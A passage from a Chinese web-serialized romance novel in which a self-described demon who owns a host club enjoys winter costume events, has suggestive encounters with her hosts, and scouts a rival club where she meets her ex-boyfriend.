“爽了?吗?”我琢磨着他的反应,也不懂到底是爽还是不爽,把带血的戒指放进他的手心里,“难受就划两下?吧,治下?病吧。” 泉卓逸的身体?猛地抖了?一下?,有?些苍白的脸上泛起红,绿色的眼?睛像狼一样死死地咬住我的脸,嘴唇嗡动,眼?底的光破碎后再次凝聚,红晕一直蔓延到眼?下?,惊人的病态。 他伸出手,将我夹在手臂和栏杆之间,几乎疯狂地亲吻。 舌钉没有?取下?来,磕碰到牙齿频频作响。 我摸着他的头,眯着眼?睛拿出震动的手机。 在山里的人有?了?信号,发来几条消息。 [邛浚(小心诈骗)]:回来咯,要?继续解决你的麻烦吗?进阶解决方案给你打八折,只要?100哦 泉卓逸急切地吻我,舌头舔舐上颚,像只很久没吃骨头的狗,吸得舌头啧啧作响,涎液交换时发出喘息声。 我一心两用回复消息。 [世界第一恶魔大人]:不用了? [世界第一恶魔大人]:我自有?办法 [世界第一恶魔大人]:(小熊跳舞.gif)—— 作者有话说:我会哭哦,为什么都对老草失去兴趣,再这样下去本文的男公关数量会爆炸哦,真的爆炸哦! 小冬魔太好,以后不会当S了,以后拙拙改花刀,她就在旁边抽烟,真正的国潮情侣啊 第38章 生活终于正常了。 虽然有点无聊, 但是很规律,吃的就在嘴边,玩的也在身边,泉卓逸听话后, 我说干嘛他就干嘛, 虽然嘴上总是反驳, 但总归总消停了。 他每天来办公?室跟我一起打游戏,说是要磨炼技术,让我刮目相看。 我对现在的生活还算满意。 日子逐渐从夏末流进秋季,正式迈入冬天。 熟悉的寒冷降临, 街上人穿着逐渐厚实,哥哥再次套上像蝉壳一样的棉袄,他执着于穿旧衣服, 只给我买了新的。 比起夏天,我更喜欢冬天。 虽然冷,但钻进室内很快就能?暖和起来,少了一点潮湿, 靠在椅子上抱着毯子很快陷入梦境,暖洋洋的,格外惬意。 宗朔进门时,我正在享受空调和毛茸茸的抱枕, 上面有浦真天的气?味, 不知道他从哪里买来的, 抱起来很软, 还不掉毛,我喜欢埋在里面。 我懒洋洋地撩起眼皮,向正在脱外套的男人抬起手, “哟,来得挺早。” 冬季的营业时间?比夏季要短一点,从下午19点开?始到凌晨一点,销量也少了些,不过宗朔说节假日的时候会重新涨回来,过年的时候最?热闹。 宗朔脱下大?衣,里面穿了件黑色的毛衣,露出锁骨,脖子上戴着玉牌,最?近开?始迷上玉做的首饰,说什么能?转运招财。 他拉开?椅子,瞬间?地开?启电脑,“来一把?” “好吧。” 我从椅子上挣扎着起身,毯子和玩偶一起掉在地上,也懒得捡了,因为在我的强烈要求下,扑了一层毛绒地毯,掉在上面不会弄脏。 待在温暖的房间?里,我的脾气?都变好了。 不过宗朔一如既往毒舌,跟队友对喷八百回合。 打完几把,他的脸有点红,鼻翼沁出薄汗,瘫倒在椅子上,面无表情地打字骂队友,等?彻底摆脱对方,长出一口气?,将沾上汗的头发往后撩,有气?无力地说:“没变呢……狗屎的匹配机制还是没变。” 他看了眼桌上的表,慢悠悠地起身,随口提及:“泉卓逸今天没来?” “他说有事,晚上再见。” 我想起前不久手机上的对话,摸着下巴,说:“他神神秘秘的,还说有惊喜,难不成发工资了?” “你想多了。” 宗朔的声音一如既往的懒散随性,在温暖的房间?里像煮好的红酒,我喜欢他的声音,说话时压低音量有不一样的质感。 “他的变化挺大?的,之前还跑来跟我说努力成为前五,那幅模样简直比狗还乖啊,不过恐怕坚持不到几天就会变回原型……嘶,这东西怎么戴的。” 身后传来窸窸窣窣的响动,衣服摩擦和拉链声。 他的声音戛然而止,我暂停动漫,转头向他看去。 宗朔不知道何时穿上了衬衫马甲,勾勒出和颓丧面容不符的、训练有素的身材,肩宽腰细,露出的腕上也缠上了玉做的手串。 他抬头向我看来,下意识眯了下眼睛,举起手里的兔耳朵,懒散地说:“你知道这玩意怎么戴?” 我盯着他。 房间?陷入沉默。 我:“你在玩cosplay吗?” 他撇了我一眼,拿着发箍坐回原位,衣服搭在旁边的柜子上,里面全?是他的衣服,平时不和其他男公?关挤休息室,他都是在这换的衣服。 宗朔:“你忘了,今天搞活动。” 我这才想起那个被我遗忘的社交账号,最?新一条动态闪闪发光,在乱七八糟的广告里独树一帜。 [冬日兔男仆,在寒冷中?给你温暖] [活动时间?:12月20号] “真的有活动啊。”我感慨道。 但是和我无关。 不是赠送果?盘,也不是赠送酒水,兔男仆们只需要男公?关换身装扮,和我这个老板没有任何关系。 不过……幅打扮还新奇。 上次见到兽人还是上次(?) 但是比起真的兔耳朵,他们的装饰过于死?板,笔直地立在头上,毛毛也很劣质,我的视线移向他的身后,问?:“尾巴呢?” 宗朔正在调整身上的扣子,他的手臂上还有两个束缚带,不知道是用来干嘛的,但圈着肌肉臂别有一番风味。 束缚皮带发出啪的一声,他漫不经心地说:“我懒得弄,穿着那个坐下去不舒服。” 我看向他的眼睛充满了失望:“你是个失格的兔男仆。” “呵呵……真是惭愧呢。” 宗朔把玉牌塞进衣服里,系上领口,手指拉直领带,轻飘飘地看了我一眼,“你想看?” “没有报酬可不行。” 他的手指捋直领带,把装饰用的表塞进胸兜里。 “要钱没有。” 这是把我当?顾客,还要小费来了,我兴趣大?减,转头继续看动漫,顺口鄙视道:“我看过更好的。” 兔族兽人的耳朵软踏踏的,摸起来触感柔弱,内芯红热,尾巴我也摸过,在手心不停地震动,短短的一截还可以拉长。 哼哼。 别说兔子了,我连龙都摸过。 宗朔嗯了一声,用手勾着发箍,转来转去,就是不戴。 我又看了他一眼,说实话,他这幅装扮我觉得新奇,而且他一直不带头饰,让我有点心痒。 对了!其他人肯定也换了衣服。 哥哥为什么不说呢,我可以去看他的! 我兴致冲冲起身,路过小桌的时候,抓住他转动的头饰,捏了一把,“摸起来也就那样吧。” 我朝他做了个鬼脸,一溜烟跑出办公?室,朝着休息室前进。 果?不其然其他男公?关换上了兔男仆装扮,整齐的衬衫马甲,造型有细微的不同,耳朵和尾巴的颜色和姿态各有不同。 我找到哥哥的时候,他正纠结地盯着手里的耳朵,雕塑般坐在角落里。 我好奇地凑了过去,他看到是我,想要遮盖装饰,纠结几秒还是把东西交到我手里,小声地说:“只是今天晚上要戴而已?……这是活动主题。” 我捏着手里的耳朵,发现它?是下垂的造型,哇了一声,饶有兴趣地说:“是垂耳兔诶。” 哥哥看着我,嗯了一声,不适应地低头。 “尾巴呢?” “……还没戴。” 我点点头,将下垂的头饰给哥哥戴上。 他原本想躲,但我一靠近,他就停住了。 戴上后好像没什么不同,哥哥别着脸,两只手握成拳头,视线落在我的脚边,羞于抬头。 我捏了下兔耳朵,触感如同,就是带毛的塑料,我把它?放在手心里捏来捏去,又在他的头顶绑成蝴蝶结。 “小冬……别闹了。”哥哥小声地劝阻我。 我用耳朵遮住他的嘴巴,他露在外面的眼睛微微睁大?,黑沉的眸子倒映着我的模样,对视的瞬间?,他抬起手,小心地抓住我的手腕。 “嗯……”我点点头,“很可爱。” 他愣在原地,掌心贴在皮肤上,有几分炙热。 我闻到棉花糖的气?息,率先?转头看去,果?不其然看到浦真天纠结的模样,马甲束缚着他的腰部,让饱满的胸部更加突出,看到我,他腾地愣在原地,脸颊冒出尴尬的红。 我松开?哥哥的耳朵,跑过去摸他的兔耳朵。 浦真天的兔耳朵更短一点,像是幼兔的耳朵,短短一截立在头上,我摸的时候,他弯下腰,忘记可以摘下来,任由?我动作。 我往他身后看去,一团毛茸茸的尾巴在尾椎上边,大?概立在腰窝中?间?。 ……如果?他有腰窝的话。 乘他不注意,我一把抓住尾巴,捏了捏。 “小冬?!” 他立马站直身体,僵直身体,“这个……这个不好玩。” 他说得对,尾巴触感是硬的,而且短短的,并不能?拉长,和真实的差距很大?。 我有些失望地松开?手,浦真天迅速转过身,遮掩住尾巴,“只是装饰而已?,和以前没什么不一样的。” 他努力解释道:“店里活动,所有都会穿,是从批发市场随机采购的东西,材质也不好。” 我点点头,失去兴趣,哥哥来到我面前,问?我晚上的安排,如果?没有的话,早点回家。 我想了想,泉卓逸还说有惊喜呢,只是摆摆手说到时候再说。 他的眼睛暗淡几分。 我告别他们,从休息室往外走,在经过楼梯的时候,手机弹出新消息。 [泉卓逸(1.7有钱有颜有技术)]:你有空吗? 上次被他发现聊天备注,他硬是要求我给他改成现在这么一长串。 [世界第一恶魔大?人]:惊喜是什么? [泉卓逸(1.7有钱有颜有技术)]:你来3楼,我在天台门口等?你 神神秘秘的,一定要是好东西才行啊。 我沿着楼梯往上走,3楼往上抵达天台的楼梯没有灯。抬眼望过去时,只能?看见他白色的衣角,浓烈的五官脸浸没在黑暗中?,眼睛倒是一如既往地亮着。 “惊喜是什么?” 我来到他面前,发现他穿着丝绸衬衫,马甲解开?几颗扣子,半遮半掩的。 他撩开?衣服,露出里面隐隐错错的红色系带,然后低下头,贴在我的脸旁。 毛茸茸的触感扫过耳朵,我抬手捏了一下。 触感和其他劣质的不一样,像是真正的兔毛做的。 “只给你看。” 泉卓逸压低声音,拉着我的手往衣服里面探去,勾起系带,有些得意地看着我,“够不够惊喜?” 我的手往后摸到他那一节毛茸茸的尾巴,试探性的往外拉了一下,竟然真的变长了。 泉卓逸绿色的眼睛盯着我,舔了下唇,舌钉一闪而过,和眼睛一样亮。 泉卓逸彻底放飞自我了。 我拆开?了惊喜。 黑暗的空间?里,视线受阻让感官更加敏感,细密的啧声掩盖在呼吸声下,重重叠叠的快感涌上腹部。 舌钉挺好的。 手指插入泉卓逸的头发,我轻轻抓了一下,便能?看到他抬头望来、略带不满的眼神,舌尖闪过一点绿,涎液也亮晶晶的。 他手臂上的伤口还有多久好来着……大?概三四天? 我分神地思考着,忽然注意到角落里一闪而过的红光,闪烁两下便熄灭了。 手机屏幕亮起,蓝光照在我的脸上。 [世界第一恶魔大?人]:三楼往天台的楼梯是不是有监控? 几分钟后。 [宗贱朔人]:收拾好再下楼 [宗贱朔人]:二楼厕所门口也有 还说不是变态,这不是一直在看吗。 我举起手,朝监控竖起中?指。 * 降临圣诞节,[极乐世界]活动接连不断,兔男仆过去没多久,店里重新装潢,拉上红色的帷幕,苹果?、红帽子、麋鹿还有绿色的圣诞树一个不缺。 我原以为会有很多客人,但没想到过节的这天几乎没什么人,大?街上人潮涌动,但没什么人往店里来。 “过节当?然是陪朋友,陪家里人咯,来男公?关店干嘛?” 宗朔收拾着乱七八糟的装饰,其中?一个灯泡在他的手里碎成渣,他的嘴角抽了下,“拼叉叉的品质……啧。” 地上还散乱着纸箱子和泡沫纸,办公?室被用来装剩下没用上的快递箱,乱糟糟的,找不到地方下脚。 我:“那为什么干嘛费钱买装饰?” “仪式感。” 宗朔:“过节也要有过节的样子,就当?做员工聚餐了。” 我心想和竞争对手有什么好聚餐的,不乘机下毒就万幸了,竟然还要聚餐,我可是从宋小晓那听说有几个男公?关团体正在吵架,因为争抢顾客闹得不可开?交。 仪式感顾名思义有闲心、有兴趣、有闲钱的人做的事。 我换了个姿势躺在椅子上,空调温度温暖舒适,让我开?始昏昏欲睡,这样的日子似乎有点太安逸了,软化骨头,催生出隐隐作祟的欲望,但我还没搞懂欲望的源头,正在放空大?脑感受着。 毛茸茸的袜子虽然很好,但总觉得哪里痒痒的。 我在椅子上翻来覆去,身下传来咿呀作响声。 宗朔终于理顺了乱七八糟的泡沫纸,叹了口气?,“真不知道谁是老板。” 他扇了下风,掏出衣服里的玉牌,挽起毛衣袖子,靠在桌子边。 我盯着他的后脑勺,脖颈处的发尾像是尾巴一样翘起,凌乱有致。 他身上的薄荷味清淡,伴随着热风暖洋洋地飘散进我的鼻腔里,比起在网吧时浓郁不少,但仍然只是偶尔能?吃一口的程度。 我想了想,从椅子上起身,朝他喊道:“送我点东西吧。” 宗朔:“?” “圣诞节。” 我有理有据地说:“圣诞老人请给我礼物。” “我可是你的助理啊,老板。” 宗朔挑眉看着我,疑惑道:“我记得你之前可是说圣诞老人是矮人族的烂好人,因为长得太丑不敢露面,只能?偷偷塞礼物。” “怎么……我长得很像?” “圣诞帅男人。” 我双手合十,虔诚地说:“请给我继续。” 宗朔盯着我看了会,嘴里发出意味不明的哼声。 “想要什么?” 我奸诈地搓手,眼睛放光地盯着他:“你的业绩。” “……狮子大?开?口,我可拿不出那么多,换一个。” 我在想一件事。 我想要什么。 钱、首饰、房子…… 我觉得我什么都极度稀缺,但仔细想想又不知道要什么,因为都想要,所以选不出一个具体的。 还是像以前那样见啥薅啥吧! 我的视线移向他的脖颈,位于锁骨中?间?,玉牌泛着温润的光,黑绳环绕住脖颈。 指节分明的手摸着玉牌,正在随意地把玩着。 宗朔看着我,用手摩挲了一下翡翠做的玉牌,问?:“这个?” 他叹了口气?,但动作干净利落,拆下玉牌,懒散地朝我走来。 玉牌落进我的手里时还带着温度,但没有我的体温高,摸起来有一丝凉意。 宗朔嘀咕着为什么我总从他身上薅东西,作为老板也应该给他发礼物才对。 我咬了一口翡翠做的玉牌,惊喜地说:“是真的啊。” “……你咬得出来什么。” 宗朔忽然挑走我手里的线,倾身靠近。 他的身上没什么味道,衣服上沾着快递箱上的劣质香味,仔细闻闻还有烟味,我几乎埋进毛衣里嗅闻,捕捉到那缕烟气?,抬头说:“你换烟了?” “别人给的。” 宗朔按住我的肩膀,手臂环绕在脖后,视线扫过我的脸,哼了声,“狗呢,闻来闻去。” 手指在脖颈后动作,时不时触碰到皮肤,有些许发凉。 咔哒。 戴上了。 玉牌贴在皮肤上发凉。 我摸了摸,好奇地问?:“值多少?” “五十。” “我过敏。”我赶忙想取下来。 宗朔按住我的手,“戴不了便宜的?” “十万。”他收回手,“过不了敏。” 我眼睛转了一圈,他立马懂了,慢悠悠起身走远,“过几天给你。” 薄荷的气?息果?然如预期一样变得浓郁。 圣诞节是个不错的借口,我掏出手机熟练地操作,群发圣诞节快乐。 红色的消息一个接一个冒出。 哥哥回复相同的圣诞树的表情,浦真天在圣诞节快乐后面加了个感叹号,而泉卓逸……他说礼物晚上给我。 我今天没兴趣,回了个no。 对面立马反应激烈,接连发来好几条消息。 朋友们在群里说圣诞节还得上课,对大?学的期待化作怨念,往上翻消息记录,全?是哭嚎咒骂。 我刚准备放下手机,弹出新的消息。 [柯觅山(有钱)]:圣诞快乐 [柯觅山(有钱)]:看着很像群发呢^^ 正准备回消息的时候,宗朔让我出办公?室去外面坐着玩,他要重新布置桌椅,打扫办公?室。 我拿起手机出了门,原本不打算回复,但出了门,忽然想起输入法里有快捷回复,于是随手点了一条。 [世界第一恶魔大?人]:虽然消息是群发的,但心意是唯一的(爱心) 他没回我。 我摸着下巴,莫名从空白中?品出点酸溜溜的滋味,点开?朋友圈,柯觅山在一分钟前刚好发布了新的动态。 圣诞快乐四个字下面跟着图片。 他坐在四周全?是玻璃的餐厅里,桌面上摆放着洁白的餐巾纸,刀叉银光闪烁,隐约可见反射出的人影。 周围明明坐着很多人,但照片却显得空落落的。 怎么说呢。我以前在社交软件上看到发布同款图片被骂装逼的人,配文?伤感,大?概是什么高处不胜寒。 所以柯觅山是想装了,在吸引我的目光。 这种一般过一阵就好了,跟泉卓逸时不时的发牢骚一样。 一楼大?厅灯光明亮,前来聚餐的男公?关们有的坐着玩手机,有的正在聊天,而少数派忙活着摆放食物和饮品,放眼过去像班级聚餐。 哥哥和浦真天在角落里,我走过去的时候,他们正在清点清单,少了一样东西,浦真天懊悔地捂着头,立马放下手里的东西要往外走。 我好奇地凑过去,问?:“怎么了?” “少买了几瓶饮料……是泉卓逸想要的。” 浦真天垂丧着头,愤愤地说:“要是没有的话,他肯定会借此发作。” 他真的不想和泉卓逸有任何接触,神情焉焉。 他说:“我现在去买吧。” 哥哥叮嘱道:“外面在下雪,你带把伞。” 下雪? 我也来了兴趣,自告奋勇:“我跟你一起去。” 浦真天下意识看向哥哥,哥哥沉默片刻,递给我一把伞。 我跟着浦真天走出[极乐世界],街道热火朝天,到处亮着暖黄色的灯,红色的装饰品挂在灯柱上。 和哥哥说的一样。 下雪了。 地上铺了薄薄一层雪,我伸出舌头品尝雪的滋味,但脸比舌头率先?接触到冰凉。 对了。更喜欢冬天的原因还有一点,我喜欢雪。 当?恶魔的时候常年待在炎热的地方,所以我很少见过雪。 我喜欢吃冰淇淋,雪是天然的冰淇淋,但哥哥说它?们很脏,给我解释过雪是怎么形成的,不过我全?忘了。 浦真天走在我的前方,举着伞像堵墙遮蔽吹来的风,他穿着黑色的羽绒服,笔直一条,像个黑色的桶。 购物的超市在商场里,我想玩雪,所以没有进去,说在外面等?他,他挠挠脸颊,千叮咛万嘱咐才敢走进商场。 我举着伞,站在街道上张望着。 其实出来还有一件事。 这条街上还有其他的男公?关店,我是来调查的! 果?不其然,我在转角处的人行道那看到几个在下雪天穿着西装的、打扮光鲜亮丽的男性。 他们手里拿着传单,笑容满脸地靠近每一个路过的女性,不仅要塞传单,还要靠近搭话,努力把人往店里拐。 难不成圣诞节客人少是因为都被偷走了?!宗朔其实是为了面子才说圣诞节不会有人来的! 在这样下去,[极乐世界]会倒闭的吧。 作为老板的我率先?察觉到了危机。 我默不作声走了过去,发传单的男生果?然向我走来,在看到我时愣了一下,然后扬起更灿烂的笑,挡在我身前。 “一个人吗?外面很冷,要不要去我们店里坐坐。” 我接过传单,目光锐利地扫视——竟然是新开?的店! 客人被吸引走的可能?性更大?了! 我问?:“你们店里人多吗?” “这您放心。今天开?门的第五天,人很多呢,大?家都不想圣诞节一个人寂寞地度过啊。” 他看着我的脸,笑容暧昧,压低嗓子,作出挑逗的姿态,“跟我进去吧,让我陪你好吗?” 我刚接过传单,肩膀上忽然多出一只手。 浦真天急匆匆来到我身边,面沉似水,他微微用力,将我往身边带,发传单的男生往后退了一步,尴尬地笑着,“这位先?生,我只是在发传单而已?,没别的意思。” “我们不需要。” 他的面色缓和了些,环住我往外走,沉声说:“这些发传单的你不用理,直接走掉就好。” 商业街里除了行人通行的道路,还有一条专门为私家车准备的路,能?开?进商业街中?心的都是豪车,我和浦真天往回走的时候,一辆蓝色的跑车引擎轰隆作响,从我们面前经过。 浦真天似乎愣了一下。 我转头看去,发现从豪车上下来的人很眼熟,是一位姿态万千的中?年女性。 记忆碎片闪过大?脑,我猛然记起在哪里见过她?——就在包厢门口,她?当?时正和和浦真天往包厢里面走。 而现在她?前往的方向十分不妙!就是那家新开?业不久的男公?关店! 我瞬间?警觉。 真的被抢了生意!—— 作者有话说:过渡一下,猜猜下个上桌的是谁[墨镜] 不允许你们抛弃本作者,本作者要缠着你们 第39章 原本以为只有[极乐世界]一家独大, 现?在竟然冒出了新的对手,而且这个对手还夺走了我们一位超级潜力股的客人! 岂有此理!这哎呀呀呀是不行的! 我迅速把这件事告诉宗朔,但他完全不放在心上,义愤填膺的激昂之词左耳朵进右耳朵出。 他懒散地说:“这条街又?不是只有一家男公关店, 而且刚开业觉得新奇也是正?常的, 再过几?天?就好了。” 他的姿态极其随意, 笃定那些客人会再回?来?。 “而且我不是老?板,我只是助理啊。” 鼠标哔哔作响,他躺在新换上的电竞椅上打游戏,在我讲话的时候, 他的目光就没有从屏幕上挪开过。 “作为员工,你也要懂得维护本店的利益啊!” 我恨铁不成钢,一想到客人和钱都跑了, 痛心疾首道:“万一客人只爱新的怎么办?像你们这些年老?色衰的被抛弃了,就再也赚不到钱,只能去扫大街、工地搬砖!” 店倒男公关散,那我岂不是要脱富返贫? 不行, 我绝对不允许! “着?什么急,再过几?天?你看吧,什么事也没有。” 宗朔打了个哈欠,依旧没有任何危机感, 全神贯注盯着?电脑屏幕, 语气平淡:“[极乐世界]已经?活了快5年, 现?在也还好好的, 只是一时的波动?而已,你别操心有的没的,快点上号。” 不行。 我很关心这件事。 除了担心脱富返贫, 还有一个原因。 ——我太?无聊了,我想搞事。 我要找点事做,最好能挑起男公关店铺大战,让[极乐世界]成为男公关店之王。 总而言之,我找不到事做很无聊,现?在有地方释放精力,我必然不会放过。 我前脚拒绝完宗朔,后脚就有人找上门。 [邛浚(小心诈骗)]:在吗在吗?(小熊探头.jpg) 这家伙和我成为了网友,每天?热衷于打广告,我直觉他是想借用我做什么事。 今天?终于图穷匕见了。 [邛浚(小心诈骗)]:你想赚钱吗? [世界第一恶魔大人]:不刷单 [邛浚(小心诈骗)]:哎呀我是那种人吗? [邛浚(小心诈骗)]:只是免费的商业合作idea [邛浚(小心诈骗)]:你们男公关店对服装很有要求吧,我这有一批奢侈品货源,可以低价放出哦,中介费我们55分 [邛浚(小心诈骗)]:(小熊探头.jpg) 奢侈品……好像确实?很需要诶。 男公关们很喜欢体会有钱人的生活,所以经?常买昂贵的衣服和包,听宋小晓说,他们似乎还有一个没钱买奢侈品组成的拼包群。 所以,商机就这么被他找到了? 我有点不爽。 [世界第一恶魔大人]:37 [邛浚(小心诈骗)]:46 [世界第一恶魔大人]:28 [邛浚(小心诈骗)]:(小熊哭泣.jpg) [邛浚(小心诈骗)]:好狠心啊,那就37吧 看着?屏幕上的字眼,我恍然大悟,这就是创业的感觉吗?脑子里突然多出很多奇妙的想法。 我想了想,噼里啪啦打字。 [世界第一恶魔大人]:我也有个idae [邛浚(小心诈骗)]:说来?听听(小熊探头.jpg) [世界第一恶魔大人]:男公关的包养服务你觉得怎么样?他们需要人脉,你正?好有,我们来?赚个中介费吧,我给你联系方式,你来?做介绍 聊天?界面弹出一张照片。 依旧模糊,电瓶车行驶在昏暗的巷道,竖起大拇指的手出现?在屏幕中央,因为开车晃出残影。 [邛浚(小心诈骗)]:果然是同道中人 [邛浚(小心诈骗)]:男公关的竞争也很激烈,不比送外卖轻松,最近商业街附近好像开了新的男公关店,他们赚钱不容易 [邛浚(小心诈骗)]:你放心,我会帮他们找到归宿的(爱心) 新的男公关店。 我的眼神犀利起来?。 等?宗朔离开办公室后,我立马动?身往外走,决定先去打探情报。 敢抢走客人,哼哼,我来?—— 不速之客拦住了我的路,泉卓逸臭着?一张脸,见我走过来?,赶紧拉住我的手,他的脸被空调熏的有点儿红,抿唇说:“今天?晚上也不来??已经?过去两天?了。” “你别着?急。” 我按住他的手,宽慰道:“想你的时候我就会叫你的。” “圣诞节你都不理我,你还什么时候叫我?” “你直接来办公室找我就行了,我一直在。” “啧,宗朔也在啊。” 他顶了下腮帮,半是埋怨地说:“那他不在的时候你给我发消息,我不想和他撞上。” 泉卓逸对宗朔的态度不知为何变了,原本崇拜得不行,现?在忽然间避之不及,来?办公室的次数也减少了。 “知道了,你回?去吧。” 我转身想走,忽然想起什么拉住他的手臂,捏了一下,他停着?不动?,目光灼灼地看着?我。 “伤口恢复好了吗?” 他呼吸一促:“快了。” 我拍了拍他的头,迅速往门外走去,因为走的急,没有带伞,此时正?在下雪,到今天?已经?下了整整一天?,环卫工人没来?得及打扫。 地上积了层白,红色装饰缀着?雪絮。 雪花朝着?我飞奔而来?,落在脸上冰冰凉凉的,呼吸时嘴里的雾向上飘去,像在抽烟一样。 我往商业街的另一边走去,路上的行人比昨天?要少许多,节日结束,只剩下红色的装饰物?残留着?圣诞节的气息。 这家新开的男公关店就在十字路口的旁边,它不像是[极乐世界]是单独的建筑,而是嵌在商场隔壁的大楼三层。 旁边摆放着?揽客牌,贴心的用箭头指向大楼,下面写着?[温柔乡]三楼等?您。 附近还散落着?发传单的男公关。 我一靠近,他们就像嗅到食物?的苍蝇,立马向我扑来?,昨天?有过一面之缘的男生眼睛发亮,挤开旁人迎上来?:“这次你的男朋友不在,要进去看看吗?” 我接过传单,高深莫测地点了一下头。 他递来?传单,引我进楼,贴心拿来?毛巾想帮我擦雪。 “脸都冻红了,像腮红,真好看。”他回?头笑,“第一次来??” “对。”我面不改色的撒谎。 他的笑容陡然加深,歪着?头笑了一下,“那我可以做你的第一位吗?” 从刚开始我一直在打量他的外貌,说实?话有点寡淡,比不上我们店里的平均水平,但好在身高足够,脸上的瑕疵被粉底遮盖,看上去还算白净清秀。 “再说吧,我还不知道有哪些服务。” 我摆了摆手,视线往前方看,想要快点看清店里的模样。 到底是谁把我们的给勾走了,必须查出来?! 领路的男生脸色微黯,但很快掩盖过去,领我到台边的座位,周围有其他的男公关给他使眼色,他不动?,抽出酒水单。 “你想喝点什么?” 我仔细阅览饮品和价格。 要便宜很多,难道这就是价格优势?那我们要不也打价格战,先把饮品的最低价格调成两位数…… “我推荐您选这个,这个口味清淡适合比较适合你。” 他的手指刚好遮住价格。 我抬头,他的微笑不变。 我挪动?菜单,手指下的数字暴露在空气中, ——199。 遮遮掩掩,我还以为是1888。 见我不说话,面前的男生有点慌,赶忙指向另一款便宜的:“这个呢?你喜欢这个吗?” 我没说话。 我在思考。 思索美团和饿了么商品价格战,如果男公关店打价格战,最后岂不是会变成拼好男。 “……其实?不点也行,就先坐在这吧,我陪你聊聊天?,行吗?” 旁边的沙发下陷,也不知道怎么想的,他自顾自坐下,凑近耳边道:“是嫌贵,还是在犹豫什么?” 我默默往后退,灯下他的鼻翼脱粉,但丝毫没有注意到,仍然轻挑地朝我笑。 这店也不知道把灯调暗点。 一黑遮百丑呐! 从颜值角度来?讲,[极乐世界]一胜,从价格角度,我们致力于成为有钱人的奢侈品,走的是高端路线,所以[极乐世界]二?胜。 [极乐世界]二?胜,[温柔乡]零胜,所以[极乐世界]三胜。 男生紧盯着?我,犹豫不决,最后咬咬牙,像下定了某种决心,他开口道:“这次我给你免单吧,你想喝什么?我帮你去拿,你不要告诉其他人,这是我们之间的秘密哦。” 他竖起手指比在嘴前,眼神往吧台看去。 “等?会那边的人来?了,你也不要听,他们劝你贷款。” 他起身:“你在这等?着?,我很快回?来?。” 我仍然想着?[极乐世界]的胜利,至于他口中的贷款,像是石子投进湖里,在我的脑子里泛起涟漪。 我在[极乐世界]也听到过,宋小晓说:虽然店里明令禁止,但是有些男公关仍然会用贷款的方式来?诱惑,促使客人下单,他很诚实?,是个好男公关,所以从来?不做。 我将酒水单翻了个面,视线落在小字上。 [花贷] [无需成年,满16岁即可接待,前三个月无利息,注册手机账号即可获得大额借贷金,分12个月还总利息不超过500,绝对良心,绝对便宜!] [ps:请根据个人能力合理贷款,避免逾期,不要相信任何人向您索要信息、邮件、电话等?不实?消息] 难道和贷款合作了吗?竟然明目张胆的写在酒水单的后面。 我不由感到佩服。 真是一点道德都没有啊。 发传单的男生走后,周围的男公关们跃跃欲试,围拢而来?。 这家店的销量排行呢? 我扫视全场,在吧台的正?后方发现?一块闪烁的屏幕,上面只有跳跃的动?画,以及欢迎顾客四个大字。 靠近的男公关穿着?暴露,劣质香水扑鼻,重新递来?酒水单,想让我点单。 左边那位笑容暧昧,头发。漂·过几?次,金得发白,手搭上我的肩:“客人,想好要喝什么了吗,或者说你有哪个看中的男公关,指定一个也行啊。” 我:“你们有排行榜或者名单吗?” “那东西啊还没弄出来?呢,毕竟我们才刚开店六天?。” 他的笑意加深,手指落在我的肩膀上,不轻不重的捏了一下,“你随手指,他们自己就会过来?,就算你不动?,他们也会过来?的。” 果然。 [极乐世界]四胜! 领着?我进来?的男生去而复返,手里端着?几?杯酒,推开众人,把酒杯递到我嘴边,目光殷切:“桃子酒你爱喝吗?” 我握着?杯子,审视在场的男人,团团围坐的男公关们看向我,颜值高低起伏。 不,应该说低低起伏。 看着?这样的脸,客人会想要喝酒吗?我很纳闷。 “你们店里最帅的人是谁?” 我问旁边的男公关。 “最帅的?”他犹豫不决,委婉地说,“他的脾气很怪,而且……你可能付不起。” 我:“看一下而已,你给我指一下嘛。” 他被我的话动?摇,转头找起来?,忽然看到什么,眼睛一亮,手指着?前方,“在那,他应该才来?。” 我顺着?他手指的方向看去。 单眼皮,五官攻击性十足,像只黑猫般的男生,他垂着?眼睛往里走,轮廓瘦削,神情冷淡。 “那边的!” 旁边的人提高音量喊道:“你过来?一下。” 他抬起头,直直地朝我们看来?,瞳孔猛地收缩,整个人愣在原地—— 作者有话说:好巧,你也出来卖了(迫真) 第40章 分手后的第一次见面是在新开业六天的男公关店里。 我和麦景四目相对。 片刻后, 他挪动脚步,快步来?到桌前,对在座的男公关们说:“都走吧,这桌我来?。” 男公关面面相觑, 最终还是离开座位, 而我旁边的男生磨蹭着?, 对麦景十分不满,视线频频看向我,似乎想让我说点什么,期盼我把他留下。 我捧着?桃子酒喝了一口。 男生不满地离开了, 座位只剩下我和麦景。 麦景坐在我的旁边,位置不远不近,他的手放在桌面上, 指节修长,攥紧又松开,指甲整齐,只是手指上多出几道白色的伤痕。 “……” 空气凝滞。 这家?店竟然还不放背景音乐! [极乐世界]五胜。 我把杯子放在桌上, 朝沉默的人说:“好久不见。” 理应从世界上消失的麦景重新出现在我面前,散发着?熟悉的巧克力味,甚至比之前还要浓烈,甜得发苦。 我还记得他在小巷里说的话。 我可是个记仇的恶魔! 巧克力的情感锲而不舍包围着?我, 拼命往我嘴里钻, 但我绝对不会吃一口的! “对不起?。”他低着?头, 手握在一起?, 难堪地咬着?唇,干巴巴的吐出几个字,看着?非常可怜。 我用?手指戳桌上的杯子, 避开他的视线攻击,当?然没有忘记这次来?的目的。 我说:“你们店的老板呢?” “……他在休息室。”麦景愣了一下,专注地看着?我说,“你要找他吗?” “不是。” 我摸摸下巴,上下打量麦景。 他穿着?衬衫,和学校里的打扮截然不同,气质成熟不少,五官轮廓明?显清晰,这一次,他没有被人打,脸蛋干干净净,睫毛纤长。 “你什么时候来?的这?” “昨天。” 麦景回答得很?快,抿了下唇,补充道:“我昨天才?来?的,对这不熟悉,还没有……工作过。” 他的行为青涩,手指搅在一起?,抬眼向我来?,眸光波动。 “那你知道一晚上能赚多少钱吗?” 我更加仔细地问:“你们店整体的收益。” 他表情微怔,思考片刻,说:“等一下。” 麦景拿起?手机,过了一会,重新抬起?头:“大概一万。” “一万?” 这么少? 那位客人有消费过吗?怎么才?一万? 我想了想,问:“你们这销量最好的人是谁?有没有突然一百万?” 他摸了下耳朵,简洁地说:“应该没有。” 那就更奇怪了,难不成客人压根没有在这消费,只是刚好去同一栋楼的某个地方? 我捂着?额头苦笑。 完全不足为虑啊。 反正来?都来?了。 